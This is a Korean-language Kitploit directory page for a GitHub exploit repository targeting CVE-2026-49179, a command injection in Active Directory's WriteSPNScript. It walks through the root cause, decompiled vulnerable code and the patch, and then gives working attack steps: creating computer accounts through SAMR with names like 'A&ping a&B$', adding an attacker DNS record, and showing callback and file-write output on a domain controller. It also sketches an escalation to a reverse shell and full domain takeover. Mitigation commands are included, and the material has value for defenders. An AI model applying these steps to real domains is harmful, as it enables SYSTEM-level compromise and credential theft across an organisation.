Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

CVE-2026-49179에 대한 개념 증명 및 익스플로잇 스크립트로, Active Directory의 WriteSPNScript 함수에서 발생하는 명령 주입 취약점으로 도메인 컨트롤러에서 SYSTEM 권한의 원격 코드 실행(RCE)이 가능합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
6시간 31분 전아직 검토되지 않음

CVE-2026-49179: Active Directory WriteSPNScript 명령 주입

요약

필드값
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (명령 주입)
영향받는 구성 요소ntdsai.dll — WriteSPNScript 함수
영향받는 시스템Windows Server 2016, 2019, 2022, 2025 (패치 전)
공격 벡터인증된 도메인 사용자 (모두)
영향도메인 컨트롤러에서 SYSTEM 권한으로 원격 코드 실행
공개일2026년 8월

취약점 설명

ntdsai.dll의 WriteSPNScript 함수는 Active Directory 유지 관리 작업 중 SPN(서비스 사용자 이름) 교정을 위한 배치 스크립트 명령을 생성합니다. 이 함수는 형식 문자열을 사용하여 repadmin.exe /writespn 명령을 구성하지만, DN(Distinguished Name) 매개변수를 정제하지 않아 & 문자(cmd.exe 명령 구분자)를 통한 명령 주입이 가능합니다.

취약한 형식 문자열:

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

매개변수: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

DN은 계정 생성 시 설정되는 컴퓨터 계정의 CN(Common Name)에서 파생됩니다. 컴퓨터 계정이 이름에 셸 메타문자를 포함하여 생성되면, 해당 문자들이 이스케이프되지 않은 채 생성된 스크립트로 흘러 들어갑니다. cmd.exe가 스크립트를 실행할 때 &는 명령 구분자로 작동하여 공격자가 제어하는 명령을 SYSTEM 권한으로 실행합니다.

근본 원인 분석

검증 격차: SAMR vs LDAP

Active Directory에는 컴퓨터 계정을 관리하기 위한 두 가지 주요 프로토콜이 있습니다:

이 검증 비대칭이 근본 원인입니다:

  • LDAP SPN 검증은 SPN 값의 모든 위험한 문자를 차단합니다 (SPN을 통한 주입은 막다른 길)
  • SAMR 계정 생성은 sAMAccountName에 셸 메타문자를 허용하며, 이것이 CN이 되어 DN으로 흘러 들어갑니다
  • DN은 정제 없이 WriteSPNScript에 전달됩니다

취약한 코드 (기본 ntdsai.dll)

패치되지 않은 바이너리의 0x1802a98a0 주소:

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI 출력 버퍼
    char local_288[47];     // 형식: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // 시스템 디렉터리

    GetSystemDirectoryW(local_258, 0x104);

    // 버퍼 크기 계산 (모든 문자열 길이의 합 + 오버헤드)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // 할당 및 형식 지정 — DN 또는 SPN 매개변수에 대한 이스케이프 없음
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // 스크립트 파일 핸들에 쓰기
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA는 DN을 출력 버퍼에 직접 형식 지정합니다. 이스케이프도, 따옴표 처리도, 정제도 없습니다.

생성된 출력 (취약)

CN=A&ping attacker&B인 컴퓨터의 경우:

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe는 이를 다섯 개의 개별 문으로 해석합니다:

주입된 명령은 두 번 나타납니다 — 한 번은 DN 매개변수에서, 한 번은 SPN 매개변수(컴퓨터 이름도 포함)에서.

패치 분석

패치된 WriteSPNScript (크기: 1477 → 2005 바이트)는 세 가지 변경을 수행합니다:

1. 이스케이프 함수 추가

DN과 SPN 매개변수 모두에 적용되는 두 개의 새로운 정제 함수:

  • EscapeForPowerShellSingleQuote() — 작은따옴표 문자열에서 탈출을 방지하기 위해 '를 이스케이프
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 네이티브 argv 파싱을 위해 " 앞의 \ 시퀀스를 이스케이프

2. 출력 형식 변경

3. 기능 플래그 제거

이전 개정판에는 수정을 제어하는 기능 플래그 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled가 있었습니다. 최종 패치에서는 이 플래그가 제거되었습니다 — 수정 사항은 항상 활성화되며 비활성화할 수 없습니다.

개념 증명

테스트 환경

1단계: SAMR이 셸 메타문자를 허용하는지 확인

spn_probe3.py를 사용하여 SAMR이 컴퓨터 계정 이름에서 허용하는 문자와 LDAP이 SPN 값에서 허용하는 문자를 테스트했습니다:

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

핵심 발견: SAMR은 테스트한 8개의 셸 메타문자를 모두 허용합니다. LDAP은 모두 차단합니다. 주입 벡터는 SPN 값이 아닌 SAMR로 생성된 컴퓨터 이름을 통합니다.

2단계: 일반 도메인 사용자로 주입 컴퓨터 생성

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

samwell.tarly로도 생성됨:

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

확인됨: 일반 도메인 사용자(PR:L)가 이름에 & 명령 주입을 포함한 컴퓨터 계정을 생성할 수 있음.

3단계: 콜백을 위한 DNS 레코드 추가 (일반 사용자로)

일반 도메인 사용자는 ADIDNS 레코드를 추가할 수 있습니다. dnstool.py를 사용하여 공격자를 가리키는 짧은 호스트 이름을 생성했습니다:

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

DC에서 확인된 해석:

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

4단계: DC에서 명령 주입 확인

WriteSPNScript가 생성할 정확한 출력을 시뮬레이션하여 DC에서 실행:

파일 쓰기 증명:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

ICMP 콜백 증명:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

공격자 tcpdump가 ICMP 도착을 확인:

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

파일 쓰기와 ICMP 콜백 모두 DN을 통한 명령 주입을 확인합니다.

입증된 내용

장애물 및 제한 사항

1. sAMAccountName 길이 제한 (~15자)

컴퓨터 계정 sAMAccountName은 후행 $ 앞에 약 15자로 제한됩니다 (NetBIOS 호환성 제약). 이는 페이로드 복잡성을 심각하게 제한합니다.

영향: IP 주소, 긴 명령 또는 복잡한 페이로드를 컴퓨터 이름에 직접 포함할 수 없습니다.

우회 방법: 콜백에 짧은 DNS 호스트 이름 사용 (예: 공격자 IP로 해석되는 단일 문자 a). 페이로드는 간결해야 합니다:

  • A&ping a&B (11자) — ICMP 콜백
  • A&echo X&B (11자) — 실행 증명
  • A&calc&B (8자) — DC에서 GUI 증명
  • A&whoami&B (11자) — 컨텍스트 확인

2. SAMR이 특정 문자 거부

SAMR이 셸 메타문자(& ' \ $ ( ) ! space`)를 허용하지만, 파일 경로와 네트워크 주소에 필요한 문자는 거부합니다:

영향: 페이로드에 IP 주소, 파일 경로 또는 URL을 직접 사용할 수 없습니다.

우회 방법:

  • 공격자를 가리키는 짧은 ADIDNS 레코드 생성 (일반 도메인 사용자가 가능)
  • 환경 변수 사용 (%TEMP%, %SYSTEMROOT%) — 단, % 허용 여부는 확인되지 않음
  • IP 대신 호스트 이름 기반 주소 지정 사용

3. WriteSPNScript 트리거는 즉각적이지 않음

WriteSPNScript는 WriteFile을 통해 스크립트 파일을 생성합니다 — 명령을 직접 실행하지 않습니다. 생성된 스크립트는 후속 프로세스에 의해 실행되어야 합니다. 이 함수는 다음 중에 호출됩니다:

  • dcdiag /fix — 관리자가 진단/복구 도구 실행
  • AD 복제 — DC 간에 SPN 충돌 처리
  • FixupSPNsOnComputerObject — 속성 변경 중 SPN 교정
  • SPN 감사 도구 — 타사 또는 내장 유지 관리 스크립트

영향: 주입은 즉시 준비되지만(컴퓨터 생성), 실행은 DC의 트리거 이벤트에 따라 달라집니다. 복제 파트너가 없는 단일 DC 환경에서는 트리거에 관리자 활동(예: dcdiag /fix 실행)이 필요할 수 있습니다.

프로덕션 환경: 다중 DC 배포에는 정기적인 복제 주기가 있습니다. 복제 중 발견된 SPN 불일치는 충돌 해결의 일부로 WriteSPNScript를 자동으로 트리거합니다.

4. 컴퓨터 계정 할당량

기본 ms-DS-MachineAccountQuota는 사용자당 10입니다. 각 주입 시도는 하나의 슬롯을 소비합니다. 이름에 특수 문자가 있는 컴퓨터 계정은 표준 도구로 삭제하기 어렵습니다.

영향: 사용자 계정당 시도 횟수 제한. 실패한 시도는 할당량을 낭비합니다.

우회 방법: 각 도메인 사용자는 자신의 할당량을 가집니다. 사용자가 많은 환경에서는 공격자가 여러 계정을 사용할 수 있습니다.

5. 정리 어려움

이름에 &, $, (, )가 포함된 컴퓨터 계정은 특수 문자가 명령 파싱을 방해하기 때문에 표준 AD 관리 도구(ADUC, PowerShell Remove-ADComputer)로 쉽게 삭제할 수 없습니다. 이는 포렌식 아티팩트를 남깁니다.

6. 이름 변경 접근 방식은 관리자 필요

대체 악용 경로 — 깨끗한 이름의 컴퓨터를 생성하고, 유효한 SPN을 설정한 다음, DN을 주입하기 위해 이름을 변경 — 를 테스트했지만 LDAP ModifyDN(이름 변경) 작업에는 상승된 권한이 필요합니다:

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

영향: 이름 변경 전략은 PR:L에 실행 가능하지 않습니다. 주입 문자를 사용한 직접 SAMR 생성이 PR:L 경로입니다.

영향

권한 상승 체인

  1. 일반 도메인 사용자가 SAMR을 통해 이름에 &<command>&를 포함한 컴퓨터 계정 생성
  2. AD 유지 관리 작업이 WriteSPNScript를 트리거하여 이스케이프되지 않은 repadmin.exe 명령 생성
  3. 주입된 명령이 도메인 컨트롤러에서 NT AUTHORITY\SYSTEM 권한으로 실행
  4. DC의 SYSTEM에서 공격자는 전체 도메인 장악:
    • 모든 자격 증명 덤프 (ntds.dit / DCSync)
    • 도메인 관리자 계정 생성
    • 지속성을 위한 그룹 정책 수정
    • 전체 AD 포리스트 장악

현실적인 공격 시나리오

root@kitploit:~
1일차: 공격자 (모든 도메인 사용자)가 익스플로잇 실행
  - SAMR을 통해 컴퓨터 "A&ping a&B$" 생성
  - C2 서버를 가리키는 DNS 레코드 "a" 추가
  - 주입이 준비됨 — 공격자가 대기

N일차: 관리자가 dcdiag /fix 실행 (일상 유지 관리)
  - WriteSPNScript가 악성 컴퓨터 계정 처리
  - 이스케이프되지 않은 DN으로 repadmin 명령 생성
  - cmd.exe가 SYSTEM 권한으로 "ping a" 실행 → 콜백 확인
  
N일차: 공격자가 페이로드 업그레이드
  - 리버스 셸 페이로드로 새 컴퓨터 생성
  - 다음 유지 관리 주기 또는 복제 이벤트 대기
  - DC에서 SYSTEM 셸 → 전체 도메인 장악

해결 방안

  1. Microsoft의 2026년 8월 패치 화요일 보안 업데이트 적용

  2. 비정상적인 문자에 대해 컴퓨터 계정 감사:

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. ms-DS-MachineAccountQuota를 0으로 설정하여 일반 사용자가 컴퓨터 계정을 생성하지 못하도록 방지:

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. 이벤트 ID 4741 (컴퓨터 계정 생성됨)을 모니터링하여 계정 이름의 비정상적인 문자 확인

  5. 일반 사용자에게 필요하지 않은 경우 ADIDNS 레코드 생성 제한

파일

참고 자료

  • Microsoft Security Advisory — CVE-2026-49179
  • MITRE CVE Entry
  • CWE-77: 명령에 사용되는 특수 요소의 부적절한 중화 ('명령 주입')
도구 다운로드
프로토콜문자 검증셸 메타문자
LDAP (SPN 값)엄격 — CONSTRAINT_ATT_TYPE이 & ; | ' \ $ ( )` 거부차단됨
SAMR (컴퓨터 이름)느슨 — 기본 계정 이름 형식만 검증허용됨: & ' \ $ ( ) ! space`
#문결과
1C:\...\repadmin.exe /writespn ADD CN=A실패 (잘린 DN)
2ping attacker주입됨 — SYSTEM 권한으로 실행
3B,CN=Computers,DC=... HOST/A실패 (유효한 명령이 아님)
4ping attacker주입됨 — 다시 실행됨 (SPN 매개변수에서)
5B실패 (유효한 명령이 아님)
기본 (취약)패치됨
함수StringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
따옴표 처리없음작은따옴표로 묶인 매개변수
출력repadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
호스트역할IPOS
WINTERFELL도메인 컨트롤러192.168.56.11Windows Server 2019
공격자Kali Linux192.168.14.238Kali 2026
도메인north.sevenkingdoms.local
저권한 사용자samwell.tarly / Heartsbane일반 도메인 사용자
관리자 사용자robb.stark / sexywolfy도메인 관리자
단계작업행위자결과
1SAMR이 컴퓨터 이름에 & 허용samwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP이 SPN 값에 & 거부samwell.tarly100% 거부
3콜백을 위한 DNS 레코드 생성samwell.tarly (PR:L)a → 192.168.14.238
4주입 CN을 가진 컴퓨터 계정samwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5cmd 주입을 통한 파일 쓰기DC (시뮬레이션된 WriteSPNScript)proof.txt = "INJECTED"
6cmd 주입을 통한 ICMP 콜백DC (시뮬레이션된 WriteSPNScript)3개의 ping 수신
거부됨차단된 사용 사례
. (마침표)IP 주소 (192.168.1.1), FQDN
\ (백슬래시)Windows 경로 (C:\Windows\...)
/ (슬래시)URL 경로, Unix 경로
: (콜론)드라이브 문자 (C:), 포트 번호
" (큰따옴표)페이로드의 따옴표/이스케이프
< > | ; , = + * ?리디렉션, 파이핑, 와일드카드
파일설명
poc/spn_probe.pyLDAP SPN 값의 28개 셸 메타문자 모두 테스트
poc/spn_probe2.py유니코드 전각/호모글리프 우회 + DRSUAPI 전송 테스트
poc/spn_probe3.pySAMR vs LDAP vs DRSUAPI 문자 허용 테스트
poc/spn_exploit.py이름 변경 전략을 통한 익스플로잇 (생성 → SPN → 이름 변경 → 주입)
poc/spn_prl_exploit.pyPR:L 익스플로잇 (직접 SAMR 생성 + 선택적 dNSHostName 트리거)
nspi_diff_analysis.txtntdsai.dll의 전체 바이너리 diff (기본 vs 패치됨)